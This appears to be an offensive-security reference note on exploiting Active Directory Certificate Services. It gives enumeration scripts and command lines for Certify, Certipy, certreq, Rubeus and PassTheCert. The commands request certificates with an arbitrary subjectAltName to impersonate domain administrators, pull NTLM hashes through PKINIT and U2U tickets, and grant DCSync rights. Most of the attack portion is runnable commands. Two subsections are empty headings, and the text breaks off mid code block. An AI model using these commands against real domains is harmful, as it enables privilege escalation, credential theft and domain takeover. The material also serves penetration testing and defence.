# Exploitation - Active Directory Certificate Services

### Overview

**Active Directory: Public Key Services containers**

A number of Active Directory objects, stored in the `Configuration` naming context, are related to `Active Directory Certificate Services` (and potentially third-party `Certification Authority`). As any objects stored in the `Configuration` naming context, the objects are replicated on all the Domain Controllers forest-wide.

| Name                    | Path                                                                                                | Description                                                                                                                                                                          |
| ----------------------- | --------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `NTAuthCertificates`    | `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`                | The `NTAuthCertificates` store, also known as the `Enterprise NTAuth store` store, hold the certificate of the trusted `Certificate Authorities` (in the `cACertificate` attribute). |
| `Enrollment Services`   | `CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`               |                                                                                                                                                                                      |
| `Certificate Authority` | `CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`         |                                                                                                                                                                                      |
| `Certificate Templates` | `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`             | Container holding the `certificate templates` defined in the domain, whether they are enabled in a `Certificate Authority` or not.                                                   |
| `CDP`                   | `CN=<CA_NAME>,CN=<ADCS_SERVER>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>` | Container storing the `Certificate Revocation Lists (CRL)`, with one separate container per `CA` and each `CA` thus having its own `CRL`.                                            |

**Certificate template**

`Certificate templates` are domain objects of type `pKICertificateTemplate`, stored under the `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<TLD>` container, that govern the certificates that can be requested to and delivered by the `Active Directory Certificate Services (AD CS)`.

A `certificate template` notably defines a number of parameters for the certificates issued through the template:

* The way the `Subject Name` and `Subject Alternative Name (Subject Alternative Name)` of the certificates will be constructed. The subject information can be either build:
  * automatically based on `Active Directory` information of the principal making the request (`User Principal Name (UPN)`, `Service Principal Name (SPN)`, `DNS` name, etc.).
  * using user-supplied data provided in the certificate request. In such case, the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x1`) in the `msPKI-Certificate-Name-Flag` attribute is set (and the attribute thus has an odd value).
* The issued certificates validity period.
* The cryptographic parameters of the certificates (the `Cryptographic Services Provider (CSP)` and the minimum key size used for instance).
* The `X509v3` extensions added to the certificates, including the `Extended / Enhanced Key Usage (EKU)` extension (introduced in more details below). The extensions define the purpose of the certificates.
* Eventual issuance requirements:
  * Approval of a certificate manager to validate (or deny) the certificate request. This setting will set the `CT_FLAG_PEND_ALL_REQUESTS` (`0x02)` flag in the certificate template `msPKI-Enrollment-Flag` attribute. Certificate requests will be keep in a pending state, awaiting for action of the certificate manager.

Additionally, `certificate templates` are `securable objects`, and the access control rights defined in a `certificate template`'s `Access Control List (ACL)` govern the operations that can be conducted on the template itself and the principals that can enroll to the template. Refer to the `[Active Directory] ACL exploiting - Active Directory Certificate Services` note for more information on the `certificate templates` `ACL`.

**Extended / Enhanced Key Usage extension**

The `Extended / Enhanced Key Usage (EKU)` extension is a certificate extension (i.e an additional attribute) that defines the purposes of the certificate, effectively restricting what the certificate can be used for in an Active Directory environment. This extension is implemented by the `pKIExtendedKeyUsage` attribute on Active Directory certificate template object.

The `EKU` extension is composed of 0 or more `Object Identifier (OID)`, each `OID` corresponding to a specific purpose. The following notable `OIDs` are supported in Active Directory:

| OID                                                                                                       | Name / Description                                                                       | Usage                                                                                                                                                         | Allow AD authentication |
| --------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- |
| `2.5.29.37.0`                                                                                             | `anyExtendedKeyUsage`                                                                    | Certificate that can be used for any usage.                                                                                                                   | Yes.                    |
| `1.3.6.1.5.5.7.3.2`                                                                                       | `clientAuth`                                                                             | Certificate used for client authentication (be it `SSL` / `TLS` authentication for web client or to remote servers in Active Directory).                      | Yes.                    |
| `1.3.6.1.5.5.7.3.3`                                                                                       | `codeSigning`                                                                            | Code signing certificate used to digitally sign executables (such as `PE` binaries or PowerShell scripts).                                                    | No.                     |
| `1.3.6.1.5.5.7.3.4`                                                                                       | `emailProtection`                                                                        | Certificate used to encrypt or digitally sign emails through the `S/MIME` standard.                                                                           | No.                     |
| <p><code>1.3.6.1.5.5.7.3.5</code><br><code>1.3.6.1.5.5.7.3.6</code><br><code>1.3.6.1.5.5.7.3.7</code></p> | <p><code>ipsecEndSystem</code><br><code>ipsecTunnel</code><br><code>ipsecUser</code></p> | Certificates used in an Internet Protocol SECurity (IPSEC) infrastructure.                                                                                    | No.                     |
| `1.3.6.1.5.2.3.4`                                                                                         | `keyPurposeClientAuth`                                                                   | Certificate used in Active Directory for PKINIT client authentication (not present by default and requires to be manually added in the certificate template). | Yes.                    |
| `1.3.6.1.4.1.311.10.3.4`                                                                                  | `msEFS`                                                                                  | Certificate used to encrypt / decrypt `Encrypting File System (EFS)` `NTFS` filesystems on Windows.                                                           | No.                     |
| `1.3.6.1.5.5.7.3.1`                                                                                       | `serverAuth`                                                                             | Certificate used for server authentication (for instance using the `SSL` / `TLS` protocol).                                                                   | No.                     |
| `1.3.6.1.4.1.311.20.2.2`                                                                                  | `Smartcard logon`                                                                        | Certificate used for smart card logon.                                                                                                                        | Yes.                    |

**If no `OID` is specified in the `EKU` extension, the certificate will by default be valid for all usages in Windows, including client authentication**. Applications may however rely on the `Constrained` `EKU` validation mode, as implemented by Microsoft, which determine the valid usage of the certificate using only the explicitly specified purposes (in all the certificate of the chain).

**Arbitrary / user-controlled Subject Alternative Name**

As specified in the certificate processing logic in the [Microsoft documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/smart-cards/smart-card-certificate-requirements-and-enumeration#client-certificate-requirements-and-mappings), if an `User Principal Name (UPN)` is specified in a certificate's `subjectAltName` field, the `UPN` is used to map the certificate to an user account in Active Directory and conduct the `PKINIT` authentication as that user. Having control on the `Subject Alternative Name` for which the certificate will be emitted can thus be leveraged for privilege escalation, notably if the `certificate template` supports client authentication (and can be requested under the current privileges). For example, in such circumstances, an unprivileged user could request a certificate specifying a more privileged principal, such as the domain `Administrator` account or a member of the `Domain Admins` group, and later use the certificate to authenticate under the impersonated principal.

The `Subject Alternative Name` for which the certificate will be emitted is user-controlled if either:

* The specific `certificate template` is configured to use user-supplied data provided in the certificate request to define the `subjectAltName` (i.e, as noted above, the template `msPKI-Certificate-Name-Flag` attribute's `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x1`) flag is set).
* A `Certificate Authority` server has, in its `HKEY_LOCAL_MACHINE` registry hive, the `EDITF_ATTRIBUTESUBJECTALTNAME2` (`0x00040000`) flag set. As stated in the [Microsoft documentation](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn786426\(v=ws.11\)#controlling-user-added-subject-alternative-names), if this flag is set, user-supplied alternative names are allowed for any `certificate template` published by the given `Certificate Authority` server.

  ```
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
  ```

**Enrollment rights**

To enroll for a `certificate template`, the following conditions must be meet:

* The `certificate template` must be published by at least one `Certificate Authority`. The `certificate templates` published by a given `CA` are defined in the `certificateTemplates` attribute of the `CA`'s `Enrollment Service` (`pKIEnrollmentService`) object.
* The given principal must be able to enroll to a `CA` publishing the `certificate template` (`Certificate-Enrollment` or `Certificate-AutoEnrollment` extended rights).
* The given principal must have enrollment rights for the `certificate template`. The enrollment rights are defined on the `certificate template` object's `ACL` (notably the `Certificate-Enrollment` or `Certificate-AutoEnrollment` rights).

### Certificate Authorities enumeration

The `certutil` built-in utility and [`Certify`](https://github.com/GhostPack/Certify) can be used to enumerate the `Certification Authorities` configured.

```bash
# Returns information about each CA, including the published certificate templates and access rights.
certutil -adca

# Returns information similar to "certutil -adca" with the addition of attempting to check if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set.
Certify.exe cas [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]
```

The `certutil` utility and `Certify` as well as direct remote registry queries can be attempted to determine if the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set for a given `CA`. The request can usually be done under an authenticated but unprivileged context.

```bash
# Retrieves and parses the EditFlags key value to display the flags set.
certutil -config "<CA_SERVER_HOSTNAME | CA_SERVER_IP>\<CA_NAME>" -getreg "policy\EditFlags"

# Retrieves the raw value of the EditFlags registry key.
REG QUERY \\<CA_SERVER_HOSTNAME | CA_SERVER_IP>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

$CA_SERVER = "<CA_SERVER_HOSTNAME | CA_SERVER_IP>"
$CA_NAME = "<CA_NAME>"
$CAHKLM = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $CA_SERVER)
$CAPolicyRegistryKey = $CAHKLM.opensubkey("SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$($CA_NAME)\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$CAPolicyRegistryKey.getvalue("EditFlags")
```

The following PowerShell script uses the `ActiveDirectory` module to enumerate each `CA`'s published `certificate templates` and enrollment rights. An attempt is made to determine if the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set for each `CA` by remotely querying their `HKLM` registry hive.

```bash
Import-Module ActiveDirectory

$DomainRoot = "<DOMAIN_ROOT_OBJECT>"

# To set to custom drive letter (i.e != AD) for execution on non domain-joined machine.
$ADDrive = "ADX"

# For execution on non domain-joined machine, sets default parameters for all ActiveDirectory cmdlets.
<#
$DC = '<DC_IP>'
$PSCredential = Get-Credential
$PSDefaultParameterValues = @{"*-AD*:Server"=$DC}
$PSDefaultParameterValues = @{"*-AD*:Credential"=$PSCredential}
New-PSDrive -Name $ADDrive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server $DC -Credential $PSCredential
#>

$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

Get-ChildItem "${ADDrive}:\CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CA = Get-ADObject "$_" -Properties *

  Write-Host -ForegroundColor DarkGreen -BackgroundColor White "CA:" $CA.Name "`n"

  # Enumerates published certificate templates.
  Write-Host -ForegroundColor Cyan "Published certificate templates:`n"
  $CA.certificateTemplates
  Write-Host "`n"

  # Attempts to remotely query the registry of the CA server (HKLM hive) to determine if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set.
  Write-Host -ForegroundColor Cyan -NoNewline "EDITF_ATTRIBUTESUBJECTALTNAME2 flag set: "
  $CAPolicyRegistryKeyPath = "SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$($CA.Name)\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
  $CAPolicyRegistryValueName = "EditFlags"
  $CAHKLM = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $CA.dNSHostName)
  $CAPolicyRegistryKey = $CAHKLM.opensubkey($CAPolicyRegistryKeyPath)
  $CAPolicyRegistryValue = $CAPolicyRegistryKey.getvalue($CAPolicyRegistryValueName)
  If (($CAPolicyRegistryValue -band 0x00040000) -ne '0') { Write-Host -NoNewline -ForegroundColor Green "YES" }
  Else { Write-Host -NoNewline -ForegroundColor Red "NO" }
  Write-Host -NoNewline " (EditFlags = $($CAPolicyRegistryValue))"
  Write-Host "`n"

  # Enumerates the enrollment rights define on the CA.
  Write-Host -ForegroundColor Cyan "Enrollment rights:`n"
  Get-Acl "${ADDrive}:\$_" | Select-Object -ExpandProperty Access |
  Where-Object {(
  $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner'`
  -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|0e10c968-78fb-11d2-90d4-00c04f79dc55|a05b8cc2-17bc-4802-a710-e7c15ab866a2')`
  -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {
    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }
    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }
    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
  }
}
```

### Certificate templates enumeration

Multiple tools and utilities, including `certutil`, [`Certify`](https://github.com/GhostPack/Certify), [`Invoke-Leghorn`](https://github.com/RemiEscourrou/Invoke-Leghorn/), and [`Certipy`](https://github.com/ly4k/Certipy) can be used to enumerate the `certificate templates`. `PingCastle`'s `healthcheck` module also includes a review of the `certificate templates`.

For the enumeration (and exploitation) of the access rights defined on `certificate templates`, refer to the `[ActiveDirectory] ACL exploiting - Active Directory Certificate Services` note.

```bash
# Enumerates the enabled certificate templates and returns whether enrollment is possible under the current security context.
certutil -CATemplates

# Enumerates, among other information, the certificate templates (and their purposes) published by each CA.
certutil -cainfo *

# Returns the CA(s) publishing the specified certificate template.
certutil -templatecas <CERTIFICATE_TEMPLATE_NAME>

# Enumerates all enabled (i.e template supported by a CA) certificate templates.
# /clientauth: limit the enumeration to certificate templates that can be used for client authentication.
# /enrolleeSuppliesSubject: limit the enumeration to certificate templates where the subjectAltName is user-supplied (ENROLLEE_SUPPLIES_SUBJECT set).
Certify.exe find [/clientauth] [/enrolleeSuppliesSubject] [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]

# Enumerates the certificate templates exploitable under the current user security context.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable /currentuser

# Enumerates the certificate templates exploitable by default low-privileged groups (Domain Users, Domain Computers, Everyone, etc.).
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable

# The Get-CATemplate cmdlet is part of the ADCSAdministration module.
Get-CATemplate

# PowerShell script with no external dependencies that enumerate vulnerable certificate template.
Invoke-Leghorn -Domain <DOMAIN>

# certipy can be used to enumerate the certificate templates (and eventually only return the exploitable templates).
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' find [-vulnerable]

certipy [-dc-ip <DC_IP>] -hashes <:NT_HASH> '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' find [-vulnerable]

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
certipy -no-pass -k '<DOMAIN>/<USERNAME>@<DC_HOSTNAME>' find [-vulnerable]
```

The following PowerShell code enumerates all the `certificate templates` and returns a number of information for each template:

* `Certificate Authorities` publishing the `certificate template`, if any.
* Purposes, highlighting client authentication.
* Principals having direct enrollment rights (`GenericAll`, `Certificate-Enrollment`, or `Certificate-AutoEnrollment`).
* Whether the `Subject Alternative Name` is user-supplied and the certificate request requires an approval.

The published `certificate templates` supporting client authentication, allowing anyone to enroll without approval, and construct the `subjectAltName` from user-supplied data are highlighted as vulnerable.

```bash
Import-Module ActiveDirectory

$DomainRoot = "<DOMAIN_ROOT_OBJECT>"

# To set to custom drive letter (i.e != AD) for execution on non domain-joined machine.
$ADDrive = "AD"

# For execution on non domain-joined machine, sets default parameters for all ActiveDirectory cmdlets.
<#
$DC = '<DC_IP>'
$PSCredential = Get-Credential
$PSDefaultParameterValues = @{"*-AD*:Server"=$DC}
$PSDefaultParameterValues = @{"*-AD*:Credential"=$PSCredential}
New-PSDrive -Name $ADDrive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server $DC -Credential $PSCredential
#>

$ClientAuthOIDRegex = [string]::Join('|', @('2.5.29.37.0', '1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4', '1.3.6.1.4.1.311.20.2.2'))
$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

# Retrieves the Certificate Templates published by Certificate Authorities.
$CACertificateTemplatesTable = @{}
Get-ChildItem "${ADDrive}:\CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CA = Get-ADObject "$_" -Properties name | Select-Object -ExpandProperty name
  $CACertificateTemplates = Get-ADObject "$_" -Properties certificateTemplates | Select-Object -ExpandProperty certificateTemplates
  $CACertificateTemplates | ForEach-Object {
    If ($CACertificateTemplatesTable.ContainsKey($_)) { $CACertificateTemplatesTable[$_] += $CA }
    Else {
      $CACertificateTemplatesTable[$_] = @()
      $CACertificateTemplatesTable[$_] += $CA
    }
  }
}

# Enumerates the Certificate Templates.
Get-ChildItem "${ADDrive}:\CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CT = Get-ADObject "$_" -Properties *
  $vulnerableCT = $True
  Write-Host -ForegroundColor DarkGreen -BackgroundColor White "Certificate template: $CT.name `n";

  Write-Host -ForegroundColor Cyan "Purpose(s):`n"
  $CT."pKIExtendedKeyUsage" | ForEach-Object {
    If ($_ -match $ClientAuthOIDRegex) { Write-Host -ForegroundColor Green $_ }
    Else { Write-Host $_ }
  }
  Write-Host "`n"
  If ($CT."pKIExtendedKeyUsage" -match $ClientAuthOIDRegex) {
    Write-Host -ForegroundColor Green "Certificate template supports client authentication!"
  }
  Else {
    Write-Host -ForegroundColor Red "Certificate template does not support client authentication."
    $vulnerableCT = $False
  }
  Write-Host "`n"

  Write-Host -ForegroundColor Cyan "Published in Certificate Authorities:`n"
  If ($CACertificateTemplatesTable.ContainsKey($CT.name)) {
    $CACertificateTemplatesTable[$CT.name]
    Write-Host "`n"
    Write-Host -ForegroundColor Green "Certificate template is published."
  }
  Else {
    Write-Host -ForegroundColor Red "Certificate template is not published."
    $vulnerableCT = $False
  }
  Write-Host "`n"


  Write-Host -NoNewline -ForegroundColor Cyan "User-supplied subjectAltName: "
  If (($CT."msPKI-Certificate-Name-Flag" -band 0x1) -ne '0') {
    Write-Host -ForegroundColor Green "YES"
  }
  Else {
    Write-Host -ForegroundColor Red "NO"
    $vulnerableCT = $False
  }
  Write-Host "`n"

  Write-Host -NoNewline -ForegroundColor Cyan "Requires certificate manager approval: "
  If (($CT."msPKI-Enrollment-Flag" -band 0x2) -ne '0') {
    Write-Host -ForegroundColor Red "YES"
    $vulnerableCT = $False
  }
  Else {
    Write-Host -ForegroundColor Green "NO"
  }
  Write-Host "`n"

  $anyoneCanEnroll = $False
  Write-Host -ForegroundColor Cyan "Enrollment rights:`n"
  Get-Acl "${ADDrive}:\$_" | Select-Object -ExpandProperty Access |
  Where-Object {(
  $_.ActiveDirectoryRights -match 'GenericAll'`
  -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|0e10c968-78fb-11d2-90d4-00c04f79dc55|a05b8cc2-17bc-4802-a710-e7c15ab866a2')`
  -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {
    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }
    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }
    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
  }

  $vulnerableCT = $vulnerableCT -and $anyoneCanEnroll
  If ($vulnerableCT) {
    Write-Host -ForegroundColor White -BackgroundColor Black "Found vulnerable certificate template: " $CT.name "`n`n";
  }
}
```

### Dangerous rights on certificate template or on the Certificate Authority itself

Refer to the `[ActiveDirectory] ACL exploiting` note (section `Active Directory Certificate Services`) for more information, techniques, and tools to enumerate and exploit dangerous rights on `CA` objects or `certificate templates`.

### Certificates request

Certificates for published `certificate templates` can be requested with Windows built-in utilities or specific tools. The certificates obtained (that support client authentication) can be used to request `Ticket Granting Ticket (TGT)` through `PKINIT` authentication. As with any `TGT` obtained through a `PKINIT` preauthentication, the `NTLM` / `NTHash` hash of the user can be retrieved through a subsequent Kerberos `User-to-User (U2U)` special `service tickets (ST)` (see the section below). For more information on how to use and manipulate the `TGT` retrieved, refer to the `[ActiveDirectory] Kerberos - tickets usage` note.

**Certificates format**

Certificates in the `PEM` format with public and private keys (such as certificates obtained using `Certify`) must be converted in the `PFX` format, supported by Windows, to be further usable by some utilities (such as `Rubeus` to request `TGT`).

`openssl` can be used to convert a `PEM` file (with both public and private keys) to a `PFX` certificate file:

```bash
# To convert PEM certificates obtained using Certify, the "Microsoft Enhanced Cryptographic Provider v1.0" CSP should be specified.
openssl pkcs12 -in <IN_PEM_FILE> -keyex [-CSP "Microsoft Enhanced Cryptographic Provider v1.0"] -export -out <OUT_PFX_FILE>
```

**Standard certificates requests**

Certificates can be requested manually using the graphical built-in `certmgr.msc` (for user certificates) and `certlm.msc` (for machine certificates) snap-ins:

```
Certificates - Current User | Certificates - Local Computer
  -> Right click Personal -> All Tasks -> Request New Certificate...
     -> Next
     -> Select the Certificate Enrollment Policy (defaults to Active Directory Enrollment policy) -> Next
     -> Select an available certificate template
     -> if the message "More information is required to enroll this certificate. Click here to configure settings." is displayed, the subjectAltName should
     be specified (refer to "Certificate template with arbitrary subjectAltName" section below).
     -> Enroll
```

`Certify` (on Windows) and `Certipy` can be used to request a certificate:

```bash
# Certify.
# /install: add the newly obtained certificate to the local user / machine store.
# /machine: make the request under the current machine account context.
Certify.exe request [/install] [/machine] /ca:<DOMAIN_FQDN>\<CA> /template:<CERTIFICATE_TEMPLATE>

# Certipy.
# The certificate and key will be DER encoded and saved to <REQUEST_ID>.(crt|key) files on disk (where <REQUEST_ID> is returned by the CA server).
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'

certipy [-dc-ip <DC_IP>] -hashes <:NT_HASH> '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
certipy -no-pass -k '<DOMAIN>/<USERNAME>@<DC_HOSTNAME>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>'
```

**\[Privilege escalation] Certificate request with arbitrary subjectAltName (CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT or EDITF\_ATTRIBUTESUBJECTALTNAME2)**

For `certificate templates` allowing an user-supplied `subjectAltName` (`msPKI-Certificate-Name-Flag` attribute's `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set), an arbitrary username or an `User Principal Name (UPN)` can be specified to impersonate any security principal.

The `subjectAltName` can be specified for certificate requests made with the `certmgr.msc` and `certlm.msc` utilities. If a `certificate template` requires an user-supplied `subjectAltName`, a warning will be displayed (`More information is required to enroll for this certificate. Click here to configure settings`) and an `subjectAltName` will be specifiable:

```
Alternative name: -> User principal name -> <USERNAME> / <USERNAME>@<DOMAIN_FQDN>
```

For `CA` allowing user-supplied alternative names for their published `certificate templates` (`EDITF_ATTRIBUTESUBJECTALTNAME2` flag set), the built-in `certreq` utility and the following policy file can be used to request a certificate for an arbitrary user. The certificate is tagged as exportable in the policy, and can thus be simply exported as a `PFX` file containing the private key. Refer to the `[Windows] Post exploitation` note (section `Certificates retrieval`) for more information on how to export certificates.

```
[Version]
Signature="$Windows NT$"

[NewRequest]
Subject = "CN=WHATEVER"  ; The Subject will not be taken into account for authentication.
Exportable = TRUE
KeyLength = 2048
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE ; TRUE if the certificate should be deployed in the machine store.
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
RequestType = PKCS10

[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=<USERNAME | UPN>"

[RequestAttributes]
SAN="upn=<USERNAME | UPN>"
CertificateTemplate = <CERTIFICATE_TEMPLATE>
```

Then the `certreq` utility can be used to request a certificate based on the policy and install locally the retrieved certificate:

```bash
# Create a new request (PKCS #10 format) based on the policy.
certreq -new <POLICY_FILE> request.pem

# Submits the certificate request.
certreq -submit request.pem cert.cer

# Links the previously generated private key with the issued certificate and install the certificate in the local system (either user or machine store).
certreq -accept cert.cer
```

Alternatively, both `Certify` and `Certipy` support specifying an arbitrary `subjectAltName` for either vulnerable `certificate template` (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) or vulnerable `CA` (`EDITF_ATTRIBUTESUBJECTALTNAME2`).

```bash
Certify.exe request [/install] [/machine] /ca:<DOMAIN_FQDN>\<CA> /template:<CERTIFICATE_TEMPLATE> /altname:<USERNAME | UPN>

# certipy also supports Kerberos authentication and using a NTLM hash, refer to the "Standard certificates requests" section above.
certipy [-dc-ip <DC_IP>] '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_HOSTNAME | DC_IP>' req -template '<CERTIFICATE_TEMPLATE>' -ca '<CA_NAME>' -alt <USERNAME | UPN>
```

**\[Privilege escalation] Certificate request through NTLM relaying**

**Certificate template with Certificate Request Agent EKU but not Enrollment agent restrictions CA-side**

### Certificates usage

**Client authentication certificate usage and NTHash / NTLM hash retrieval**

*`Ticket Granting Ticket (TGT)` obtained through a `PKINIT` preauthentication can be leveraged to retrieve the principal's `NTLM` / `NTHash` hash through a special `User-to-User (U2U)`* *`service tickets`.*

`PKINIT` is a `Kerberos` preauthentication mechanism which uses digital certificates to mutually authenticate the `Key Distribution Center (KDC)` and clients for `TGT` requests (in `AS-REQ` and `AS-REP` messages). `PKINIT` requires a valid `X.509` certificate for the `KDC` (Domain Controllers in Active Directory) and one for each client principal that will authenticate using `PKINIT`. In environments with a `PKI` trusted by both parties, such as `Active Directory Certificate Services (ADCS)`, digital certificates generated and signed by the trusted `Certificate Authority (CA)` will be used for the `PKINIT` authentication.

To support subsequent `NTLM` `SSO` authentications for users that authenticated using `PKINIT`, Kerberos `User-to-User (U2U)` special `service tickets (ST)` allow a client to retrieve their `NTLM` hash. `U2U` tickets indeed contain, in their `Privilege Attribute Certificate (PAC)`, the `NTLM` hash of the principal that requested the `U2U ST`. The `NTLM` hash is stored encrypted using the client's `TGT` session key in the `PAC`'s `PAC_CREDENTIAL_INFO` (`NTLM_SUPPLEMENTAL_CREDENTIAL` structure) additional field. Using a valid `TGT`, clients can thus request a `U2U ST` from themselves to themselves in order to obtain their `NTLM` hash.

[`Rubeus`](https://github.com/GhostPack/Rubeus) and `certipy` can be used to conduct a `Kerberos` `PKINIT` preauthentication to retrieve a `Ticket-Granting Ticket (TGT)` using the obtained certificate. `Rubeus` retrieves a `TGT` in the `KRB_CRED` format (and can inject it in the current session) while `Certipy` will export the ticket in the `credential cache (ccache)` format.

Both tools can make a subsequent `U2U` `ST` request using the retrieved `TGT` in order to obtain the `NTLM` hash / `NTHash` of the principal the certificate was issued to.

**For certificates obtained with an arbitrary `subjectAltName`, the username of the user specified in the certificate's `subjectAltName` field should be specified (and not the username of the subject).**

```bash
# The /getcredentials flag instructs Rubeus to perform a subsequent U2U ST request to retrieve the principal's NTHash.
Rubeus.exe asktgt /user:<USERNAME> /certificate:<CERTIFICATE_THUMBPRINT | CERTIFICATE_PFX_FILE | BASE64_CERTIFICATE> [/password:"<CERTIFICATE_PASSWORD>"] [/domain:<DOMAIN_FQDN>] [/dc:<DC>] [/getcredentials /show]

# The certificate and key files obtained through certipy can be used to obtain a TGT (saved in a ccache file on disk) and automatically retrieve the principal's NTHash (see explanation below).
certipy '<DOMAIN>/<USERNAME>@<DC_HOSTNAME | DC_IP>' auth -cert <CERTIFICATE_FILE_CRT> -key <CERTIFICATE_FILE_KEY>
```

**Client authentication certificate usage over LDAPS through Schannel**

If the `KDC` does not support `PKINIT` authentication, as may be the case if its certificate does not have the `Smart Card Logon` enhanced key usage extension, a `KDC_ERR_PADATA_TYPE_NOSUPP` error will arise. In such circumstances, [`PassTheCert`](https://github.com/AlmondOffSec/) can be used to authenticate to `LDAPS` over `TLS` `Schannel`.

`PassTheCert` implements a few privilege escalation / persistence techniques to further access the domain with out relying on the certificate:

* Grating `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights to the specified user to conduct `DCSync` replication.
* Adds an SPN to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified target (to take over the targeted computer through a `RBCD` attack).
* Reset the password of the specified account.
* Add an account to the specified group.

```
# Retrieves the username associated with the certificate.
PassTheCert.exe --server <DC_IP | DC_HOSTNAME> --cert-path <CERT_PFX_PATH> [--cert-password <CERT_PASSWORD>] --whoami

